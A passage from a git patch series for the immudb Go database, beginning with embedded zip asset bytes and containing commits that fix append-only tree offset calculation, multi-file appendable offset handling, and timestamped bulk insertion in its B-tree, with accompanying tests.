\xc6O\xf3Jg\xe75#\xf0G\x80L\x00\x8c%\x0d\x1b\xd2\xa8\x9e\xe7\xc6\xb2G5\xa5\xc62\x81\x90\x9b\xdd\x89\x8b^\x9c\xcaF\xb5\x0f\xe2\x80\x90\xfdD\x0dw\x19\xaa\x89\xe2\x1cA\x07\xc1#Q\xa6\xd9\x8d\x08\xba\xd4)\x8f\xb8bq{AE\x9c\xdf\x06\x97\x11\xf8\xc7N\xb5 \xc0\xa1xh\x81Dp\xa2\xbf\x98qV\xc8\x0fC\xfb\x8d,\xfc$nK\x93\x8b\xea\xdbw\x81\xc6x\xefO4L\xcd.\xe2\x10\xe5s*1\xc5\xa3\xf3\xf7\xa3`oa+\xb5i\x05B\x04\x00\x1b\x8e\xc8\x1f\x11\x05\x02\xa1\xa5\xbew\xd4\xd8Mj\xd0\x8b\xef\xaf\x81\x90\xcc\xc3q\xc5\xcb8A\x03\xc3XS6\xb0\xb66\x14\x8a\xd1\xd6\xff\xf5&\xc9)l2\x01\xba\x90\xee/\xe7\xe2\xeb\x96\x89\x18\xa9\xe2 9\x0d\x1d\xd2\xaa\xf8%\xfa9\x13\x82\xdd\x89)d\xb0\xcax]\x9f\x07<\xc89_%y\xf6,\x9a\x9b\xd5\xf8\xbd;\xaaE;\x84\x1d\xff\xbc\xd1<\x92\xdd\x8a\x99\xb3\x06 d\x99\x02\x18\x18\xedW\x13\xc9\x02\x1e\xb2\xb2\x0e\x17\xa3\x9b\\?\xb9YF\x95\xf5\xc5\xeca3\x01\xf6h\xf9\xc9\x19\xa0\xa3Ck\x90\xa2vJ\x95\xe9\x02:\x0b/\xc8}W:\x0f.>/\xfa?i\xc2\xc1\xa9\x82\x0b_\xf9\x94\xd25M\x9cQ\xa8\xaf\xa8'\x169\x0f+\x10]W\xce\xa0\xed\x18\xb9jEx\xde\xd8\xdb\xde\x9b9\xbb\xa8u\xe5\x1c'/5\xd0O\xfd5J\x8f\x8fx\x07\xb6O\xca\x93fy\xb8\xb6\xac\x0e\xd3\x85\x90\xaf\x123\x82uw\xa4If\x0d\xcb*\xe05u\xc1\xe8\xda\xe0bI\xb4\x07>Y\xe7\xadZ\xac\x88)m,5A \xd4\x87\xfc\xfd5Dr\xcff\xcdaQ\xc9a\x8b\x11\xca\x89W\x1d\x9b\xd4I\xd8\x9b\x81\x07\xef%`\x10\x00\x12\x88\xf6\xc0P\xd8\xa4Q\xb8t\xca\xd8\xd9\xa1\x14\xa4\x0e\xff_\xa7\xfd'St_U-\xb0m^\xfc\xe0\xff\xdbG\xfe\xf0/t\xe7\xc6\xed\x1fZ\xcc\xce!\x941\xe3\xf0\xddX\xe7\xab\x8e\xf0\xd0\xee\x80\xe56\x16^\xb3 \x8f3\xf8\xe9Q,\xa2\x04\x07\xf3\xd6\xcc\xad\x8b\xef\xeb\x14\x0b\x1e\xbe\xe5\xa7\x07\xa9\xcf\xa3\x8e\xd3r\x8f\xdf\\\x96O7\x0b\xa3\xed\x85\xd0\xf1\x01c\xfd\xd1.\xce\xfa\xf0WO\xc1\xbb\x98\xc77\xd7\x1d\x95T\x81\xaf\xae\x1f\x1ek\xd4\xac\xb7\x99\xee\xd1\xc1\x17`\x87S\xb8Zq\n+\xf9y\xb2o\x12\xf1\xdc\x99&/O&;\xdf\xd4\x99&^\x1c\xb9qsH(\xc3\xbb\xa6\x86\xd4\xb2\x80{\xdc\x08\xfd2\x11b\xb2\x1f+\xa6\x9c\xf4\xaf\x8f\xe9\xa4\xa4N\xdf]\xcb\x9f\xca\x05\x17\xffy\xe4>~\xebI\x00\xfa\x9d\xca\xca\x1elr\x1df\xb7-!\xf9\xd2q\xc7\x12\x0b\x0b\x0bKCU\x07Q\xafl\x13\xf1?\x01\x00\x00\xff\xffPK\x07\x08{\x86\x02V\x89p\x00\x00\x99p\x00\x00PK\x01\x02\x14\x03\x14\x00\x08\x00\x08\x00\xe4HES\xaf\x13j\x89\x12\x02\x00\x00\x14\x04\x00\x00\x12\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\xb4\x81\x00\x00\x00\x00missing/index.htmlUT\x05\x00\x01\xbd\x15\\aPK\x01\x02\x14\x03\x14\x00\x08\x00\x08\x00\xabe\xdeR{\x86\x02V\x89p\x00\x00\x99p\x00\x00\x12\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\xb4\x81[\x02\x00\x00missing/mascot.pngUT\x05\x00\x01bg\xdc`PK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00\x92\x00\x00\x00-s\x00\x00\x00\x00" fs.Register(data) } \ No newline at end of file From 3a7544c56e684dc5ec1ac44ecaa5bac13e24e7dc Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Thu, 5 Jan 2023 08:27:09 +0100 Subject: [PATCH 0118/1062] prevent webconsole/dist from being copyed instead of deleting --- .dockerignore | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.dockerignore b/.dockerignore index 890e940d47..e8f963fc88 100644 --- a/.dockerignore +++ b/.dockerignore @@ -18,6 +18,7 @@ resources /immudata /Dockerfile* pkg/integration/replication +webconsole/dist # Allow FIPS build checker -!build/fips/check-fips.sh \ No newline at end of file +!build/fips/check-fips.sh From 83f4099eb2dfc7767e53ea1a8b3e3959a1941a7f Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 10 Jan 2023 07:44:26 -0300 Subject: [PATCH 0119/1062] fix(embedded/ahtree): correct calculation of payload offset Signed-off-by: Jeronimo Irazabal test(embedded/ahtree): include payload len into plog Signed-off-by: Jeronimo Irazabal fix(embedded/appendable): prevent moving forward when setting offset in multi-appendable Signed-off-by: Jeronimo Irazabal test(embedded/ahtree): unit test checking append after reopening Signed-off-by: Jeronimo Irazabal --- embedded/ahtree/ahtree.go | 4 +- embedded/ahtree/ahtree_test.go | 47 ++++++++++++++++++++++- embedded/appendable/multiapp/multi_app.go | 10 +++++ 3 files changed, 57 insertions(+), 4 deletions(-) diff --git a/embedded/ahtree/ahtree.go b/embedded/ahtree/ahtree.go index 7637840dae..c8d8b6a704 100644 --- a/embedded/ahtree/ahtree.go +++ b/embedded/ahtree/ahtree.go @@ -214,7 +214,7 @@ func OpenWith(pLog, dLog, cLog appendable.Appendable, opts *Options) (*AHtree, e pOff := binary.BigEndian.Uint64(b[:]) pSize := binary.BigEndian.Uint32(b[offsetSize:]) - t.pLogSize = int64(pOff) + int64(pSize) + t.pLogSize = int64(pOff) + int64(szSize+pSize) pLogFileSize, err := pLog.Size() if err != nil { @@ -409,7 +409,7 @@ func (t *AHtree) ResetSize(newSize uint64) error { pOff := binary.BigEndian.Uint64(b[:]) pSize := binary.BigEndian.Uint32(b[offsetSize:]) - pLogSize = int64(pOff) + int64(pSize) + pLogSize = int64(pOff) + int64(szSize+pSize) pLogFileSize, err := t.pLog.Size() if err != nil { diff --git a/embedded/ahtree/ahtree_test.go b/embedded/ahtree/ahtree_test.go index a01fc9c754..756195c9ae 100644 --- a/embedded/ahtree/ahtree_test.go +++ b/embedded/ahtree/ahtree_test.go @@ -336,7 +336,7 @@ func (t *EdgeCasesTestSuite) TestShouldFailWhileValidatingDLogSize() { return cLogEntrySize, nil } t.pLog.SizeFn = func() (int64, error) { - return 8, nil + return szSize + 8, nil } t.dLog.SizeFn = func() (int64, error) { return 0, nil @@ -356,7 +356,7 @@ func (t *EdgeCasesTestSuite) TestShouldFailReadingDLogSize() { return cLogEntrySize, nil } t.pLog.SizeFn = func() (int64, error) { - return 8, nil + return szSize + 8, nil } t.dLog.SizeFn = func() (int64, error) { return 0, t.injectedErr @@ -531,6 +531,7 @@ func TestAppend(t *testing.T) { WithDataCacheSlots(100) tree, err := Open(t.TempDir(), opts) + require.NoError(t, err) N := 100 @@ -574,6 +575,7 @@ func TestAppend(t *testing.T) { func TestIntegrity(t *testing.T) { tree, err := Open(t.TempDir(), DefaultOptions()) + require.NoError(t, err) N := 1024 @@ -884,6 +886,9 @@ func TestResetCornerCases(t *testing.T) { t.Run("should fail on cLog read error", func(t *testing.T) { injectedErr := errors.New("injected error") pLog := appendableFromBuffer(nil) + pLog.SizeFn = func() (int64, error) { + return 2 * szSize, nil + } dLog := appendableFromBuffer(make([]byte, 3*sha256.Size)) cLog := appendableFromBuffer(make([]byte, 12*2)) cLog.ReadAtFn = func(bs []byte, off int64) (int, error) { @@ -906,6 +911,9 @@ func TestResetCornerCases(t *testing.T) { t.Run("should fail on getting pLogSize", func(t *testing.T) { injectedErr := errors.New("injected error") pLog := appendableFromBuffer(nil) + pLog.SizeFn = func() (int64, error) { + return 2 * szSize, nil + } dLog := appendableFromBuffer(make([]byte, 3*sha256.Size)) cLog := appendableFromBuffer(make([]byte, 12*2)) tree, err := OpenWith(pLog, dLog, cLog, DefaultOptions()) @@ -922,6 +930,9 @@ func TestResetCornerCases(t *testing.T) { t.Run("should fail on corrupted older cLog entries", func(t *testing.T) { pLog := appendableFromBuffer(nil) + pLog.SizeFn = func() (int64, error) { + return szSize, nil + } dLog := appendableFromBuffer(make([]byte, 3*sha256.Size)) cLog := appendableFromBuffer([]byte{ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, // Corrupted entry, offset way outside pLog size @@ -940,6 +951,9 @@ func TestResetCornerCases(t *testing.T) { t.Run("should fail on dLog size error", func(t *testing.T) { injectedErr := errors.New("injected error") pLog := appendableFromBuffer(nil) + pLog.SizeFn = func() (int64, error) { + return 2 * szSize, nil + } dLog := appendableFromBuffer(make([]byte, 3*sha256.Size)) cLog := appendableFromBuffer(make([]byte, 2*12)) tree, err := OpenWith(pLog, dLog, cLog, DefaultOptions()) @@ -956,6 +970,9 @@ func TestResetCornerCases(t *testing.T) { t.Run("should fail on incorrect dlog size", func(t *testing.T) { pLog := appendableFromBuffer(nil) + pLog.SizeFn = func() (int64, error) { + return 2 * szSize, nil + } dLog := appendableFromBuffer(make([]byte, 3*sha256.Size)) cLog := appendableFromBuffer(make([]byte, 2*12)) tree, err := OpenWith(pLog, dLog, cLog, DefaultOptions()) @@ -993,3 +1010,29 @@ func BenchmarkAppend(b *testing.B) { tree.Close() } + +func TestAppendAfterReopening(t *testing.T) { + opts := DefaultOptions(). + WithWriteBufferSize(1 << 26). //64Mb + WithRetryableSync(true). + WithAutoSync(true). + WithSyncThld(2_000). + WithFileSize(1 << 16). + WithDigestsCacheSlots(2) + + path := t.TempDir() + + for i := 0; i < 10; i++ { + tree, err := Open(path, opts) + require.NoError(t, err) + + var bs [1]byte + + for j := 0; j < 1025; j++ { + _, _, err = tree.Append(bs[:]) + require.NoError(t, err) + } + + tree.Close() + } +} diff --git a/embedded/appendable/multiapp/multi_app.go b/embedded/appendable/multiapp/multi_app.go index 63bdf0344d..dc862f7619 100644 --- a/embedded/appendable/multiapp/multi_app.go +++ b/embedded/appendable/multiapp/multi_app.go @@ -414,6 +414,16 @@ func (mf *MultiFileAppendable) SetOffset(off int64) error { return ErrReadOnly } + currOffset := mf.offset() + + if off > currOffset { + return fmt.Errorf("%w: provided offset %d is bigger than current one %d", ErrIllegalArguments, off, currOffset) + } + + if off == currOffset { + return nil + } + appID := appendableID(off, mf.fileSize) if mf.currAppID != appID { From ae8903cdc5c9d0350fafdbce757b3849de57610b Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 10 Jan 2023 21:48:24 -0300 Subject: [PATCH 0120/1062] chore(embedded/ahtree): add inline comments Signed-off-by: Jeronimo Irazabal --- embedded/ahtree/ahtree.go | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/embedded/ahtree/ahtree.go b/embedded/ahtree/ahtree.go index c8d8b6a704..9760fb1eed 100644 --- a/embedded/ahtree/ahtree.go +++ b/embedded/ahtree/ahtree.go @@ -214,6 +214,10 @@ func OpenWith(pLog, dLog, cLog appendable.Appendable, opts *Options) (*AHtree, e pOff := binary.BigEndian.Uint64(b[:]) pSize := binary.BigEndian.Uint32(b[offsetSize:]) + // pOff denotes the latest payload + // pSize denotes the size of the latest payload + // as payloads are prefixed with the size when written into pLog + // pLogSize is calculated with the offset, the size description of the payload and the payload itself t.pLogSize = int64(pOff) + int64(szSize+pSize) pLogFileSize, err := pLog.Size() @@ -409,6 +413,10 @@ func (t *AHtree) ResetSize(newSize uint64) error { pOff := binary.BigEndian.Uint64(b[:]) pSize := binary.BigEndian.Uint32(b[offsetSize:]) + // pOff denotes the latest payload + // pSize denotes the size of the latest payload + // as payloads are prefixed with the size when written into pLog + // pLogSize is calculated with the offset, the size description of the payload and the payload itself pLogSize = int64(pOff) + int64(szSize+pSize) pLogFileSize, err := t.pLog.Size() From 49101c36cb1c3ee323c05c60f2f89fb93bf13af2 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 11 Jan 2023 12:19:28 -0300 Subject: [PATCH 0121/1062] fix(embedded/appendable): proper closing of non-required chunks Signed-off-by: Jeronimo Irazabal --- embedded/appendable/multiapp/multi_app.go | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/embedded/appendable/multiapp/multi_app.go b/embedded/appendable/multiapp/multi_app.go index dc862f7619..9c1ea5adf6 100644 --- a/embedded/appendable/multiapp/multi_app.go +++ b/embedded/appendable/multiapp/multi_app.go @@ -426,12 +426,15 @@ func (mf *MultiFileAppendable) SetOffset(off int64) error { appID := appendableID(off, mf.fileSize) + // given the new offset is lower than the current one, it means + // either appID == mf.currAppID or appID < mf.currAppID must hold + if mf.currAppID != appID { // Head might have moved back, this means that all // chunks that follow are no longer valid (will be overwritten anyway). // We also must flush / close current chunk since it will be reopened. - for id := mf.currAppID; id <= appID; id++ { + for id := appID; id < mf.currAppID; id++ { app, err := mf.appendables.Pop(id) if err == cache.ErrKeyNotFound { continue @@ -445,6 +448,12 @@ func (mf *MultiFileAppendable) SetOffset(off int64) error { } } + // close current appendable as it's not present in the cache + err := mf.currApp.Close() + if err != nil { + return err + } + app, err := mf.openAppendable(appendableName(appID, mf.fileExt), true) if err != nil { return err From 3bf0e89914778a94edba89e766897e7ce0b630fb Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 29 Dec 2022 12:07:52 -0300 Subject: [PATCH 0122/1062] feat(embedded/tbtree): multi-timed bulk insertions Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/consistency_error_test.go | 8 +- embedded/tbtree/snapshot.go | 2 +- embedded/tbtree/tbtree.go | 192 +++++++++++++--------- embedded/tbtree/tbtree_test.go | 32 ++-- 4 files changed, 136 insertions(+), 98 deletions(-) diff --git a/embedded/tbtree/consistency_error_test.go b/embedded/tbtree/consistency_error_test.go index 3f82fb0c3d..8cc341fdaf 100644 --- a/embedded/tbtree/consistency_error_test.go +++ b/embedded/tbtree/consistency_error_test.go @@ -127,11 +127,11 @@ func TestConsistencyFailure(t *testing.T) { defer tbtree.Close() for _, d := range dataset { - kvs := []*KV{} + kvs := []*KVT{} require.NoError(t, json.Unmarshal([]byte(d), &kvs)) for _, kv := range kvs { - err := tbtree.BulkInsert([]*KV{kv}) + err := tbtree.BulkInsert([]*KVT{kv}) require.NoError(t, err) consistencyCheck(t, tbtree, tbtree.root) @@ -145,12 +145,12 @@ func TestConsistencyFailure(t *testing.T) { defer tbtree.Close() for _, d := range dataset { - kvs := []*KV{} + kvs := []*KVT{} require.NoError(t, json.Unmarshal([]byte(d), &kvs)) for _, kv := range kvs { tbtree.Flush() - err := tbtree.BulkInsert([]*KV{kv}) + err := tbtree.BulkInsert([]*KVT{kv}) require.NoError(t, err) consistencyCheck(t, tbtree, tbtree.root) diff --git a/embedded/tbtree/snapshot.go b/embedded/tbtree/snapshot.go index dc0f7d22bc..9955bff52e 100644 --- a/embedded/tbtree/snapshot.go +++ b/embedded/tbtree/snapshot.go @@ -53,7 +53,7 @@ func (s *Snapshot) Set(key, value []byte) error { v := make([]byte, len(value)) copy(v, value) - nodes, depth, err := s.root.insertAt([]*KV{{K: k, V: v}}, s.ts) + nodes, depth, err := s.root.insert([]*KVT{{K: k, V: v, T: s.ts}}) if err != nil { return err } diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index b16c1e7320..3b44a45ebc 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -224,7 +224,7 @@ type pathNode struct { } type node interface { - insertAt(kvs []*KV, ts uint64) ([]node, int, error) + insert(kvts []*KVT) ([]node, int, error) get(key []byte) (value []byte, ts uint64, hc uint64, err error) history(key []byte, offset uint64, descOrder bool, limit int) ([]uint64, uint64, error) findLeafNode(keyPrefix []byte, path path, offset int, neqKey []byte, descOrder bool) (path, *leafNode, int, error) @@ -1549,71 +1549,95 @@ func (t *TBtree) IncreaseTs(ts uint64) error { return nil } -type KV struct { +type KVT struct { K []byte V []byte + T uint64 +} + +func (t *TBtree) lock() { + t.rwmutex.Lock() +} + +func (t *TBtree) unlock() { + slowDown := t.compacting && t.delayDuringCompaction > 0 + + t.rwmutex.Unlock() + + if slowDown { + time.Sleep(t.delayDuringCompaction) + } } func (t *TBtree) Insert(key []byte, value []byte) error { - return t.BulkInsert([]*KV{{K: key, V: value}}) + t.lock() + defer t.unlock() + + return t.bulkInsert([]*KVT{{K: key, V: value}}) } -func (t *TBtree) BulkInsert(kvs []*KV) error { - if len(kvs) == 0 { +func (t *TBtree) BulkInsert(kvts []*KVT) error { + t.lock() + defer t.unlock() + + return t.bulkInsert(kvts) +} + +func (t *TBtree) bulkInsert(kvts []*KVT) error { + if t.closed { + return ErrAlreadyClosed + } + + if len(kvts) == 0 { return ErrIllegalArguments } + ts := t.root.ts() + // validated immutable copy of input kv pairs - immutableKVs := make([]*KV, len(kvs)) + immutableKVTs := make([]*KVT, len(kvts)) - for i, kv := range kvs { - if kv == nil || kv.K == nil || kv.V == nil { + newTs := ts + 1 + + for i, kvt := range kvts { + if kvt == nil || kvt.K == nil || kvt.V == nil { return ErrIllegalArguments } - if len(kv.K) > t.maxKeySize { + if len(kvt.K) > t.maxKeySize { return ErrorMaxKeySizeExceeded } - if len(kv.V) > t.maxValueSize { + if len(kvt.V) > t.maxValueSize { return ErrorMaxValueSizeExceeded } - k := make([]byte, len(kv.K)) - copy(k, kv.K) - - v := make([]byte, len(kv.V)) - copy(v, kv.V) - - immutableKVs[i] = &KV{ - K: k, - V: v, - } - } + k := make([]byte, len(kvt.K)) + copy(k, kvt.K) - t.rwmutex.Lock() + v := make([]byte, len(kvt.V)) + copy(v, kvt.V) - defer func() { - slowDown := false + t := kvt.T - if t.compacting && t.delayDuringCompaction > 0 { - slowDown = true + if kvt.T == 0 { + t = ts + 1 + } else if kvt.T < ts { + return ErrIllegalArguments } - t.rwmutex.Unlock() - - if slowDown { - time.Sleep(t.delayDuringCompaction) + immutableKVTs[i] = &KVT{ + K: k, + V: v, + T: t, } - }() - if t.closed { - return ErrAlreadyClosed + if t > newTs { + newTs = t + } } - ts := t.root.ts() + 1 - - nodes, depth, err := t.root.insertAt(immutableKVs, ts) + nodes, depth, err := t.root.insert(immutableKVTs) if err != nil { return err } @@ -1622,7 +1646,7 @@ func (t *TBtree) BulkInsert(kvs []*KV) error { newRoot := &innerNode{ t: t, nodes: nodes, - _ts: ts, + _ts: newTs, mut: true, } @@ -1638,9 +1662,9 @@ func (t *TBtree) BulkInsert(kvs []*KV) error { metricsBtreeDepth.WithLabelValues(t.path).Set(float64(depth)) - t.insertionCountSinceFlush += len(immutableKVs) - t.insertionCountSinceSync += len(immutableKVs) - t.insertionCountSinceCleanup += len(immutableKVs) + t.insertionCountSinceFlush += len(immutableKVTs) + t.insertionCountSinceSync += len(immutableKVTs) + t.insertionCountSinceCleanup += len(immutableKVTs) if t.insertionCountSinceFlush >= t.flushThld { _, _, err := t.flushTree(t.cleanupPercentage, false, false, "BulkInsert") @@ -1766,9 +1790,9 @@ func (t *TBtree) snapshotClosed(snapshot *Snapshot) error { return nil } -func (n *innerNode) insertAt(kvs []*KV, ts uint64) (nodes []node, depth int, err error) { +func (n *innerNode) insert(kvts []*KVT) (nodes []node, depth int, err error) { if n.mutated() { - return n.updateOnInsertAt(kvs, ts) + return n.updateOnInsert(kvts) } newNode := &innerNode{ @@ -1781,47 +1805,54 @@ func (n *innerNode) insertAt(kvs []*KV, ts uint64) (nodes []node, depth int, err copy(newNode.nodes, n.nodes) - return newNode.updateOnInsertAt(kvs, ts) + return newNode.updateOnInsert(kvts) } -func (n *innerNode) updateOnInsertAt(kvs []*KV, ts uint64) (nodes []node, depth int, err error) { +func (n *innerNode) updateOnInsert(kvts []*KVT) (nodes []node, depth int, err error) { // group kvs by child at which they will be inserted - kvsPerChild := make(map[int][]*KV) + kvtsPerChild := make(map[int][]*KVT) - for _, kv := range kvs { - childIndex := n.indexOf(kv.K) - kvsPerChild[childIndex] = append(kvsPerChild[childIndex], kv) + for _, kvt := range kvts { + childIndex := n.indexOf(kvt.K) + kvtsPerChild[childIndex] = append(kvtsPerChild[childIndex], kvt) } var wg sync.WaitGroup - wg.Add(len(kvsPerChild)) + wg.Add(len(kvtsPerChild)) nodesPerChild := make(map[int][]node) var nodesMutex sync.Mutex - for childIndex, childKVs := range kvsPerChild { + for childIndex, childKVTs := range kvtsPerChild { // insert kvs at every child simultaneously - go func(childIndex int, childKVs []*KV) { + go func(childIndex int, childKVTs []*KVT) { defer wg.Done() - c := n.nodes[childIndex] + child := n.nodes[childIndex] - cs, cdepth, cerr := c.insertAt(childKVs, ts) + newChildren, childrenDepth, childrenErr := child.insert(childKVTs) nodesMutex.Lock() defer nodesMutex.Unlock() if cerr != nil { // if any of its children fail to insert, insertion fails - err = cerr + err = childrenErr return } - nodesPerChild[childIndex] = cs - if cdepth > depth { - depth = cdepth + nodesPerChild[childIndex] = newChildren + if childrenDepth > depth { + depth = childrenDepth + } + + for _, newChild := range newChildren { + if newChild.ts() > n._ts { + n._ts = newChild.ts() + } } - }(childIndex, childKVs) + + }(childIndex, childKVTs) } // wait for all the insertions to be done @@ -1831,8 +1862,6 @@ func (n *innerNode) updateOnInsertAt(kvs []*KV, ts uint64) (nodes []node, depth return nil, 0, err } - n._ts = ts - // count the number of children after insertion nsSize := len(n.nodes) @@ -2063,12 +2092,12 @@ func (n *innerNode) updateTs() { //////////////////////////////////////////////////////////// -func (r *nodeRef) insertAt(kvs []*KV, ts uint64) (nodes []node, depth int, err error) { +func (r *nodeRef) insert(kvts []*KVT) (nodes []node, depth int, err error) { n, err := r.t.nodeAt(r.off, true) if err != nil { return nil, 0, err } - return n.insertAt(kvs, ts) + return n.insert(kvts) } func (r *nodeRef) get(key []byte) (value []byte, ts uint64, hc uint64, err error) { @@ -2135,9 +2164,9 @@ func (r *nodeRef) offset() int64 { //////////////////////////////////////////////////////////// -func (l *leafNode) insertAt(kvs []*KV, ts uint64) (nodes []node, depth int, err error) { +func (l *leafNode) insert(kvts []*KVT) (nodes []node, depth int, err error) { if l.mutated() { - return l.updateOnInsertAt(kvs, ts) + return l.updateOnInsert(kvts) } newLeaf := &leafNode{ @@ -2161,27 +2190,34 @@ func (l *leafNode) insertAt(kvs []*KV, ts uint64) (nodes []node, depth int, err } } - return newLeaf.updateOnInsertAt(kvs, ts) + return newLeaf.updateOnInsert(kvts) } -func (l *leafNode) updateOnInsertAt(kvs []*KV, ts uint64) (nodes []node, depth int, err error) { - for _, kv := range kvs { - i, found := l.indexOf(kv.K) +func (l *leafNode) updateOnInsert(kvts []*KVT) (nodes []node, depth int, err error) { + for _, kvt := range kvts { + i, found := l.indexOf(kvt.K) if found { - l.values[i].value = kv.V - l.values[i].ts = ts - l.values[i].tss = append([]uint64{ts}, l.values[i].tss...) + lv := l.values[i] + + if kvt.T < lv.ts { + // TODO: this validation can be made upfront at bulkInsert, specific error may be declared + return nil, 0, fmt.Errorf("%w: attempt to insert an older value", ErrIllegalState) + } + + lv.value = kvt.V + lv.ts = kvt.T + lv.tss = append([]uint64{kvt.T}, lv.tss...) } else { values := make([]*leafValue, len(l.values)+1) copy(values, l.values[:i]) values[i] = &leafValue{ - key: kv.K, - value: kv.V, - ts: ts, - tss: []uint64{ts}, + key: kvt.K, + value: kvt.V, + ts: kvt.T, + tss: []uint64{kvt.T}, hOff: -1, hCount: 0, } @@ -2190,9 +2226,11 @@ func (l *leafNode) updateOnInsertAt(kvs []*KV, ts uint64) (nodes []node, depth i l.values = values } - } - l._ts = ts + if l._ts < kvt.T { + l._ts = kvt.T + } + } nodes, err = l.split() diff --git a/embedded/tbtree/tbtree_test.go b/embedded/tbtree/tbtree_test.go index c2923719d8..4798ce83c2 100644 --- a/embedded/tbtree/tbtree_test.go +++ b/embedded/tbtree/tbtree_test.go @@ -566,7 +566,7 @@ func TestSnapshotRecovery(t *testing.T) { require.NoError(t, err) require.Equal(t, uint64(0), snapc) - err = tree.BulkInsert([]*KV{ + err = tree.BulkInsert([]*KVT{ {K: []byte("key1"), V: []byte("value1")}, }) require.NoError(t, err) @@ -585,13 +585,13 @@ func TestSnapshotRecovery(t *testing.T) { require.NoError(t, err) require.Equal(t, uint64(1), snapc) - err = tree.BulkInsert([]*KV{ + err = tree.BulkInsert([]*KVT{ {K: []byte("key2"), V: []byte("value2")}, {K: []byte("key3"), V: []byte("value3")}, }) require.NoError(t, err) - err = tree.BulkInsert([]*KV{ + err = tree.BulkInsert([]*KVT{ {K: []byte("key4"), V: []byte("value4")}, }) require.NoError(t, err) @@ -691,7 +691,7 @@ func TestTBTreeSplitWithKeyUpdates(t *testing.T) { key := make([]byte, opts.maxKeySize/4) key[0] = i - err = tree.BulkInsert([]*KV{ + err = tree.BulkInsert([]*KVT{ {K: key, V: make([]byte, 1)}, }) require.NoError(t, err) @@ -702,7 +702,7 @@ func TestTBTreeSplitWithKeyUpdates(t *testing.T) { key := make([]byte, opts.maxKeySize/4) key[0] = i - err = tree.BulkInsert([]*KV{ + err = tree.BulkInsert([]*KVT{ {K: key, V: key}, }) require.NoError(t, err) @@ -726,7 +726,7 @@ func TestTBTreeSplitMultiLeafSplit(t *testing.T) { key := make([]byte, opts.maxKeySize) key[0] = i - err = tree.BulkInsert([]*KV{ + err = tree.BulkInsert([]*KVT{ {K: key, V: make([]byte, 1)}, }) require.NoError(t, err) @@ -736,7 +736,7 @@ func TestTBTreeSplitMultiLeafSplit(t *testing.T) { key := make([]byte, opts.maxKeySize/8) key[0] = i + 3 - err = tree.BulkInsert([]*KV{ + err = tree.BulkInsert([]*KVT{ {K: key, V: make([]byte, 1)}, }) require.NoError(t, err) @@ -744,7 +744,7 @@ func TestTBTreeSplitMultiLeafSplit(t *testing.T) { key := make([]byte, opts.maxKeySize) - err = tree.BulkInsert([]*KV{ + err = tree.BulkInsert([]*KVT{ {K: key, V: make([]byte, opts.maxValueSize)}, }) require.NoError(t, err) @@ -760,7 +760,7 @@ func TestTBTreeCompactionEdgeCases(t *testing.T) { tree, err := Open(t.TempDir(), DefaultOptions()) require.NoError(t, err) - err = tree.BulkInsert([]*KV{{K: []byte("k0"), V: []byte("v0")}}) + err = tree.BulkInsert([]*KVT{{K: []byte("k0"), V: []byte("v0")}}) require.NoError(t, err) snap, err := tree.Snapshot() @@ -877,7 +877,7 @@ func TestTBTreeHistory(t *testing.T) { tbtree, err := Open(dir, opts) require.NoError(t, err) - err = tbtree.BulkInsert([]*KV{{K: []byte("k0"), V: []byte("v0")}}) + err = tbtree.BulkInsert([]*KVT{{K: []byte("k0"), V: []byte("v0")}}) require.NoError(t, err) err = tbtree.Close() @@ -886,7 +886,7 @@ func TestTBTreeHistory(t *testing.T) { tbtree, err = Open(dir, opts) require.NoError(t, err) - err = tbtree.BulkInsert([]*KV{{K: []byte("k0"), V: []byte("v00")}}) + err = tbtree.BulkInsert([]*KVT{{K: []byte("k0"), V: []byte("v00")}}) require.NoError(t, err) err = tbtree.Close() @@ -919,7 +919,7 @@ func TestTBTreeInsertionInAscendingOrder(t *testing.T) { err = tbtree.BulkInsert(nil) require.ErrorIs(t, err, ErrIllegalArguments) - err = tbtree.BulkInsert([]*KV{{}}) + err = tbtree.BulkInsert([]*KVT{{}}) require.ErrorIs(t, err, ErrIllegalArguments) _, _, err = tbtree.Flush() @@ -1345,7 +1345,7 @@ func bulkInsert(tbtree *TBtree, bulkCount, bulkSize int, asc bool) error { seed := rand.NewSource(time.Now().UnixNano()) rnd := rand.New(seed) - kvs := make([]*KV, bulkSize) + kvs := make([]*KVT, bulkSize) for i := 0; i < bulkCount; i++ { for j := 0; j < bulkSize; j++ { @@ -1359,7 +1359,7 @@ func bulkInsert(tbtree *TBtree, bulkCount, bulkSize int, asc bool) error { value := make([]byte, 32) rnd.Read(value) - kvs[j] = &KV{K: key, V: value} + kvs[j] = &KVT{K: key, V: value} } err := tbtree.BulkInsert(kvs) @@ -1388,7 +1388,7 @@ func BenchmarkRandomBulkInsertion(b *testing.B) { kBulkCount := 1000 kBulkSize := 1000 - kvs := make([]*KV, kBulkSize) + kvs := make([]*KVT, kBulkSize) for i := 0; i < kBulkCount; i++ { for j := 0; j < kBulkSize; j++ { @@ -1398,7 +1398,7 @@ func BenchmarkRandomBulkInsertion(b *testing.B) { rnd.Read(k) rnd.Read(v) - kvs[j] = &KV{K: k, V: v} + kvs[j] = &KVT{K: k, V: v} } err = tbtree.BulkInsert(kvs) From 7640b004119622d86e17c5f35a619cfc6811ac83 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 29 Dec 2022 12:08:21 -0300 Subject: [PATCH 0123/1062] chore(embedded/store): multi-timed bulk insertions Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 52af95e1ce..e691c25c33 100644 --- 